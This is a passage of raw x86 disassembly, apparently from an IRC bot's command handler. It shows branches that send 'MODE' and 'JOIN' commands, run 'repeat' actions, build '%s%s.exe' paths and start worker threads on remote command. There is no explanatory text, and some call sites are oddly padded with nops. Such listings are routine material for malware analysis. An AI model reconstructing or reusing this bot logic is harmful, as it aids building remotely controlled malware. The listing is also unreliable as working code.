; ---------------------------------------------------------------------------
loc_407B55: ; CODE XREF: sub_401ACD+4EA3j
; sub_401ACD+4EBAj
push [ebp+arg_10]
call sub_41B779
mov [ebp+var_112C], eax
push 7Fh
lea eax, [ebp+var_1230]
push edi
push eax
call sub_41B5F0
push [ebp+arg_0]
call sub_41B779
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1130], eax
lea eax, [ebp+var_11B0]
push [ebp+var_88]
mov [ebp+var_1238], esi
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_111C], eax
push [ebp+var_1130]
lea eax, [ebp+var_1230]
mov [ebp+var_1120], edi
push eax
push [ebp+var_112C]
push esi
call sub_40AC0F
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A39C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B0F6
add esp, 24h
mov [ebp+var_1128], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1238]
push ebx
push eax
push offset loc_4103AA
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_1128]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407C41
loc_407C2B: ; CODE XREF: sub_401ACD+6172j
cmp [ebp+var_1118], ebx
jnz loc_403DA0
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_407C2B
; ---------------------------------------------------------------------------
loc_407C41: ; CODE XREF: sub_401ACD+615Cj
nop
call near ptr 2670897h
push eax
push offset unk_42A358
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_407C52: ; CODE XREF: sub_401ACD+4E75j
; sub_401ACD+4E8Cj
push 0FFh
lea eax, [ebp+var_2878]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 0FFh
lea eax, [ebp+var_2778]
push edi
push eax
call sub_41B5F0
push [ebp+arg_0]
mov [ebp+var_2674], ebx
call sub_41B779
mov [ebp+var_2670], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407CAB
push 10h
push ebx
push eax
call sub_41BDC5
add esp, 0Ch
mov [ebp+var_2668], eax
jmp short loc_407CB1
; ---------------------------------------------------------------------------
loc_407CAB: ; CODE XREF: sub_401ACD+61C8j
mov [ebp+var_2668], ebx
loc_407CB1: ; CODE XREF: sub_401ACD+61DCj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407CC8
push esi
call sub_41B779
pop ecx
mov [ebp+var_266C], eax
jmp short loc_407CCE
; ---------------------------------------------------------------------------
loc_407CC8: ; CODE XREF: sub_401ACD+61EAj
mov [ebp+var_266C], ebx
loc_407CCE: ; CODE XREF: sub_401ACD+61F9j
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_2664], eax
lea eax, [ebp+var_28F8]
mov [ebp+var_28FC], esi
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_265C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2660], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset unk_42A32C
push eax
call sub_41B886
push esi
lea eax, [ebp+var_2C4]
push 1Dh
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2678], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_28FC]
push ebx
push eax
push offset loc_4163F9
push ebx
push ebx
call near ptr 2670000h
nop
mov ecx, [ebp+var_2678]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407D7F
loc_407D69: ; CODE XREF: sub_401ACD+62B0j
cmp [ebp+var_2658], ebx
jnz loc_407278
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_407D69
; ---------------------------------------------------------------------------
loc_407D7F: ; CODE XREF: sub_401ACD+629Aj
nop
call near ptr 2670897h
push eax
push offset unk_42A2EC
jmp loc_407269
; ---------------------------------------------------------------------------
loc_407D90: ; CODE XREF: sub_401ACD+4E47j
; sub_401ACD+4E5Ej
push 7Fh
lea eax, [ebp+var_3490]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3410]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3390]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3310]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_328C], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3288], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_3494], esi
push [ebp+arg_10]
push offset unk_42A2B0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 12h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_3290], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3494]
push ebx
push eax
push offset byte_414A91
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_3290]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407E67
loc_407E51: ; CODE XREF: sub_401ACD+6398j
cmp [ebp+var_3284], ebx
jnz loc_407278
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_407E51
; ---------------------------------------------------------------------------
loc_407E67: ; CODE XREF: sub_401ACD+6382j
nop
call near ptr 2670897h
push eax
push offset unk_42A278
jmp loc_407269
; ---------------------------------------------------------------------------
loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj
; sub_401ACD+4D31j
push 7Fh
lea eax, [ebp+var_3068]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2FE8]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2F68]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_2EE8]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E64], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_2E60], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_306C], esi
push [ebp+arg_10]
push offset unk_42A248
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Eh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_2E68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_306C]
push ebx
push eax
push offset dword_4137CC
push ebx
push ebx
call near ptr 2670000h
nop
mov ecx, [ebp+var_2E68]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_407F4F
loc_407F39: ; CODE XREF: sub_401ACD+6480j
cmp [ebp+var_2E5C], ebx
jnz loc_407278
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_407F39
; ---------------------------------------------------------------------------
loc_407F4F: ; CODE XREF: sub_401ACD+646Aj
nop
call near ptr 2670897h
push eax
push offset unk_42A210
jmp loc_407269
; ---------------------------------------------------------------------------
loc_407F60: ; CODE XREF: sub_401ACD+4BF1j
; sub_401ACD+4C08j ...
push 7Fh
lea eax, [ebp+var_3CE4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3C64]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3BE4]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3B64]
push [ebp+var_88]
push eax
call sub_41B5F0
push 20h
lea eax, [ebp+var_3AE4]
push [ebp+arg_8]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A64], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_3A60], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_3CEC], esi
push [ebp+arg_10]
push offset unk_42A1E0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Dh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_3CE8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CEC]
push ebx
push eax
push offset byte_412A53
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_3CE8]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_408048
loc_408032: ; CODE XREF: sub_401ACD+6579j
cmp [ebp+var_3A5C], ebx
jnz loc_407278
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_408032
; ---------------------------------------------------------------------------
loc_408048: ; CODE XREF: sub_401ACD+6563j
call near ptr 2670897h
nop
push eax
push offset unk_42A1A8
jmp loc_407269
; ---------------------------------------------------------------------------
loc_408059: ; CODE XREF: sub_401ACD+4BC3j
; sub_401ACD+4BDAj
push 7Fh
lea eax, [ebp+var_1778]
push [ebp+arg_10]
push eax
call sub_41B5F0
push edi
call sub_41B779
push 3Fh
mov [ebp+var_1628], eax
push [ebp+arg_0]
lea eax, [ebp+var_16F8]
push eax
call sub_41B5F0
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_4080A4
push 3Fh
lea eax, [ebp+var_16B8]
push esi
push eax
call sub_41B5F0
add esp, 0Ch
loc_4080A4: ; CODE XREF: sub_401ACD+65C3j
lea eax, [ebp+var_16F8]
mov [ebp+var_1624], 1
push eax
lea eax, [ebp+var_1778]
push [ebp+var_1628]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42A178
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Fh
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_1620], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_177C]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_1620]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_408130
loc_40811A: ; CODE XREF: sub_401ACD+6661j
cmp [ebp+var_161C], ebx
jnz loc_406CDE
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_40811A
; ---------------------------------------------------------------------------
loc_408130: ; CODE XREF: sub_401ACD+664Bj
nop
call near ptr 2670897h
push eax
push offset dword_42A13C
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_408141: ; CODE XREF: sub_401ACD+4B83j
; sub_401ACD+4B9Aj
push edi
call sub_41B779
cmp eax, ebx
pop ecx
mov [ebp+var_1D64], eax
jle loc_408234
push [ebp+arg_10]
mov esi, 80h
lea eax, [ebp+var_1EEC]
push esi
push eax
call sub_41B980
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_1D60], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF0], eax
lea eax, [ebp+var_1DEC]
push esi
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D5C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_1D58], eax
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset unk_42A110
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 15h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_1D6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF0]
push ebx
push eax
push offset byte_412E9D
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_1D6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_408223
loc_408211: ; CODE XREF: sub_401ACD+6754j
cmp [ebp+var_1D54], ebx
jnz short loc_40828B
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_408211
; ---------------------------------------------------------------------------
loc_408223: ; CODE XREF: sub_401ACD+6742j
nop
call near ptr 2670897h
push eax
push offset unk_42A0D8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_408234: ; CODE XREF: sub_401ACD+6683j
push offset unk_42A0A0
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_40823E: ; CODE XREF: sub_401ACD+4B55j
; sub_401ACD+4B6Cj
push edi
push [ebp+arg_10]
nop
call near ptr 2690C1Dh
test eax, eax
jz short loc_40826B
push edi
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push offset unk_42A07C
push 200h
push eax
call sub_41B980
add esp, 14h
jmp short loc_40828B
; ---------------------------------------------------------------------------
loc_40826B: ; CODE XREF: sub_401ACD+677Dj
push offset dword_42A070
call sub_41814C
pop ecx
push eax
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
loc_408288: ; CODE XREF: sub_401ACD+2F2Aj
; sub_401ACD+556Fj
add esp, 0Ch
loc_40828B: ; CODE XREF: sub_401ACD+2136j
; sub_401ACD+2ECCj ...
cmp [ebp+var_8], ebx
jnz loc_4083BC
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_4082A8: ; CODE XREF: sub_401ACD+57C6j
call sub_409A72
add esp, 14h
jmp loc_4083BC
; ---------------------------------------------------------------------------
loc_4082B5: ; CODE XREF: sub_401ACD+4B27j
; sub_401ACD+4B3Ej
push [ebp+arg_10]
lea eax, [ebp+var_3F04]
push 104h
push eax
call sub_41B980
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_4082EF
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4082EF
push eax
lea eax, [ebp+var_3E00]
push eax
call sub_41B886
pop ecx
pop ecx
loc_4082EF: ; CODE XREF: sub_401ACD+6802j
; sub_401ACD+6811j
push [ebp+var_88]
lea eax, [ebp+var_3F84]
push 80h
push eax
call sub_41B980
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F88], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CF8], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF4], eax
lea eax, [ebp+var_3E00]
push eax
lea eax, [ebp+var_3F04]
push eax
push offset unk_42A040
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41B980
push ebx
lea eax, [ebp+var_2C4]
push 24h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_3CFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F88]
push ebx
push eax
push offset byte_416CAD
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_3CFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4083A1
loc_40838F: ; CODE XREF: sub_401ACD+68D2j
cmp [ebp+var_3CF0], ebx
jnz short loc_4083BC
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_40838F
; ---------------------------------------------------------------------------
loc_4083A1: ; CODE XREF: sub_401ACD+68C0j
nop
call near ptr 2670897h
push eax
push offset unk_42A004
loc_4083AD: ; CODE XREF: sub_401ACD+925j
; sub_401ACD+A63j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_4083BC: ; CODE XREF: sub_401ACD+7E1j
; sub_401ACD+94Cj ...
push 1
pop esi
jmp loc_406D02
; ---------------------------------------------------------------------------
loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j
; sub_401ACD+4B10j
push 44h
lea eax, [ebp+var_668]
pop esi
push esi
push ebx
push eax
call sub_41B590
push 1
mov [ebp+var_668], esi
pop esi
mov [ebp+var_638], bx
push [ebp+arg_10]
mov [ebp+var_63C], esi
call sub_41B779
add esp, 10h
cmp eax, esi
jnz short loc_408403
mov [ebp+var_638], 5
loc_408403: ; CODE XREF: sub_401ACD+692Bj
cmp [ebp+var_C], ebx
jz loc_406CDE
push edi
push [ebp+var_C]
call sub_41B900
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_406CDE
lea eax, [ebp+var_E10]
push eax
lea eax, [ebp+var_668]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call near ptr 2650CA5h
nop
test eax, eax
jnz short loc_40844C
push offset unk_429FE0
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40844C: ; CODE XREF: sub_401ACD+6973j
push edi
push offset dword_429FC4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_408457: ; CODE XREF: sub_401ACD+4ACBj
; sub_401ACD+4AE2j
push edi
push offset aDark ; "Dark"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085D0
lea eax, [ebp+var_48F0]
push eax
push 104h
nop
call near ptr 2690000h
push 0FFh
lea eax, [ebp+var_25D0]
push [ebp+arg_10]
push eax
call sub_41B5F0
lea eax, [ebp+var_17D0]
push eax
call sub_40AD80
add esp, 10h
push eax
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_24D0]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41B886
mov eax, [ebp+esi+var_84]
add esp, 10h
cmp eax, ebx
mov [ebp+var_23CC], 1
mov [ebp+var_23C8], ebx
jz short loc_4084EC
push 10h
push ebx
push eax
call sub_41BDC5
add esp, 0Ch
mov [ebp+var_23C0], eax
jmp short loc_4084F2
; ---------------------------------------------------------------------------
loc_4084EC: ; CODE XREF: sub_401ACD+6A09j
mov [ebp+var_23C0], ebx
loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_408509
push esi
call sub_41B779
pop ecx
mov [ebp+var_23C4], eax
jmp short loc_40850F
; ---------------------------------------------------------------------------
loc_408509: ; CODE XREF: sub_401ACD+6A2Bj
mov [ebp+var_23C4], ebx
loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_23BC], eax
lea eax, [ebp+var_2650]
mov [ebp+var_2654], esi
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_23B4], eax
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov [ebp+var_23B8], eax
lea eax, [ebp+var_2C4]
push offset dword_429F8C
push eax
call sub_41B886
push esi
lea eax, [ebp+var_2C4]
push 1Eh
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_23D0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2654]
push ebx
push eax
push offset loc_4163F9
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_23D0]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4085BF
loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j
cmp [ebp+var_23B0], ebx
jnz loc_406CDE
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_4085A9
; ---------------------------------------------------------------------------
loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj
nop
call near ptr 2670897h
push eax
push offset dword_429F50
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4085D0: ; CODE XREF: sub_401ACD+6999j
push offset dword_429F08
loc_4085D5: ; CODE XREF: sub_401ACD+2E73j
; sub_401ACD+457Cj ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_406CDE
; ---------------------------------------------------------------------------
loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj
; sub_401ACD+4AB4j
push [ebp+var_8C]
push offset dword_42C938
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_401E94
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
pop ecx
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_429EF8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
push [ebp+arg_10]
call sub_41B779
add esp, 28h
test eax, eax
jle short loc_408673
push [ebp+arg_10]
call sub_41B779
imul eax, 3E8h
pop ecx
push eax
nop
call near ptr 2660F2Dh
loc_408673: ; CODE XREF: sub_401ACD+6B8Ej
push offset dword_429EE4
call sub_4151AC
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408687: ; CODE XREF: sub_401ACD+4A6Fj
; sub_401ACD+4A86j
push [ebp+var_8C]
push offset dword_42C938
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
cmp [ebp+var_C], ebx
jz loc_409854
push edi
push [ebp+var_C]
call sub_41B900
inc edi
push offset aRepeat ; "repeat"
push edi
mov esi, eax
call sub_41C070
add esp, 10h
test eax, eax
push esi
jz short loc_408745
push [ebp+var_88]
lea eax, [ebp+var_2C4]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_429EF8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push offset dword_429ECC
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+arg_10]
call sub_41B779
add esp, 14h
test eax, eax
jle loc_409854
push [ebp+arg_10]
call sub_41B779
add eax, [ebp+arg_24]
pop ecx
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_408745: ; CODE XREF: sub_401ACD+6BFAj
push offset unk_429E98
loc_40874A: ; CODE XREF: sub_401ACD+7542j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_408759: ; CODE XREF: sub_401ACD+74CAj
; sub_401ACD+7623j
cmp [ebp+var_8], ebx
jnz short loc_40877A
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj
; sub_401ACD+72C7j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
jmp loc_409853
; ---------------------------------------------------------------------------
loc_40878B: ; CODE XREF: sub_401ACD+4A41j
; sub_401ACD+4A58j
push 7Fh
lea eax, [ebp+var_2214]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2194]
push edi
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2114]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2090], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_208C], eax
lea eax, [ebp+var_2C4]
mov [ebp+var_2218], esi
push offset unk_429E64
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 0Fh
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2094], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2218]
push ebx
push eax
push offset byte_4143CB
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_2094]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40884B
loc_408839: ; CODE XREF: sub_401ACD+6D7Cj
cmp [ebp+var_2088], ebx
jnz short loc_408866
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_408839
; ---------------------------------------------------------------------------
loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj
nop
call near ptr 2670897h
push eax
push offset unk_429E28
loc_408857: ; CODE XREF: sub_401ACD+6E89j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
loc_408866: ; CODE XREF: sub_401ACD+6D72j
; sub_401ACD+6E6Dj
cmp [ebp+var_8], ebx
jnz loc_409630
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push esi
jmp loc_409628
; ---------------------------------------------------------------------------
loc_408886: ; CODE XREF: sub_401ACD+4A13j
; sub_401ACD+4A2Aj
push 7Fh
lea eax, [ebp+var_23A8]
push [ebp+arg_10]
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_2328]
push edi
push eax
call sub_41B5F0
push 7Fh
lea eax, [ebp+var_22A8]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 24h
mov esi, [ebp+arg_4]
mov [ebp+var_2224], eax
mov eax, [ebp+var_8]
push edi
push [ebp+arg_10]
mov [ebp+var_2220], eax
lea eax, [ebp+var_2C4]
mov [ebp+var_23AC], esi
push offset dword_429DFC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 11h
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_2228], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_23AC]
push ebx
push eax
push offset byte_413B77
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_2228]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40894A
loc_408934: ; CODE XREF: sub_401ACD+6E7Bj
cmp [ebp+var_221C], ebx
jnz loc_408866
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_408934
; ---------------------------------------------------------------------------
loc_40894A: ; CODE XREF: sub_401ACD+6E65j
call near ptr 2670897h
nop
push eax
push offset dword_429DC0
jmp loc_408857
; ---------------------------------------------------------------------------
loc_40895B: ; CODE XREF: sub_401ACD+49E5j
; sub_401ACD+49FCj
push edi
lea eax, [ebp+var_2C4]
push offset dword_429DB8
push eax
call sub_41B886
push [ebp+arg_10]
call sub_41B779
add esp, 10h
loc_408978: ; CODE XREF: sub_401ACD+6F16j
test eax, eax
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
loc_408994: ; CODE XREF: sub_401ACD+7A55j
lea eax, [ebp+var_2C4]
push eax
push offset dword_429DB0
push [ebp+arg_10]
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
jmp loc_404933
; ---------------------------------------------------------------------------
loc_4089BF: ; CODE XREF: sub_401ACD+49B7j
; sub_401ACD+49CEj
push [ebp+esi+var_84]
lea eax, [ebp+var_2C4]
push edi
push offset dword_429DA4
push eax
call sub_41B886
push [ebp+arg_10]
call sub_41B779
add esp, 14h
jmp short loc_408978
; ---------------------------------------------------------------------------
loc_4089E5: ; CODE XREF: sub_401ACD+4989j
; sub_401ACD+49A0j
push edi
lea eax, [ebp+var_2C4]
push offset dword_42B460
push eax
call sub_41B886
mov esi, [ebp+arg_10]
push esi
call sub_41B779
add esp, 10h
test eax, eax
jle loc_409854
push esi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
lea eax, [ebp+var_2C4]
push eax
push offset dword_429DB0
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
add esp, 0Ch
push edi
push esi
push offset dword_429D88
loc_408A4B: ; CODE XREF: sub_401ACD+7009j
; sub_401ACD+7078j ...
call sub_415220
jmp loc_404933
; ---------------------------------------------------------------------------
loc_408A55: ; CODE XREF: sub_401ACD+495Bj
; sub_401ACD+4972j
cmp [ebp+var_C], ebx
jz loc_409854
push edi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408A84
push esi
lea eax, [ebp+var_2C4]
push offset dword_429D80
push eax
call sub_41B886
add esp, 0Ch
loc_408A84: ; CODE XREF: sub_401ACD+6FA0j
mov edi, [ebp+arg_10]
push edi
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push edi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
lea eax, [ebp+var_2C4]
push eax
push offset dword_429DB0
push edi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
add esp, 0Ch
push esi
push edi
push offset dword_429D64
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408ADB: ; CODE XREF: sub_401ACD+492Dj
; sub_401ACD+4944j
cmp [ebp+var_C], ebx
jz loc_409854
push edi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
mov edi, [ebp+arg_10]
push edi
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push edi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push esi
push offset dword_429DB0
push edi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43DEBC[eax]
call sub_409A2C
add esp, 0Ch
push esi
push edi
push offset dword_429D48
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408B4A: ; CODE XREF: sub_401ACD+48FFj
; sub_401ACD+4916j
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push esi
push offset unk_429D20
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_408B86: ; CODE XREF: sub_401ACD+48D1j
; sub_401ACD+48E8j
push [ebp+var_8C]
push offset dword_42C938
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_401E94
push edi
push offset dword_429D14
push [ebp+arg_4]
call sub_409A2C
push [ebp+arg_10]
call sub_41B779
imul eax, 3E8h
add esp, 10h
push eax
nop
call near ptr 2660F2Dh
push [ebp+esi+var_84]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
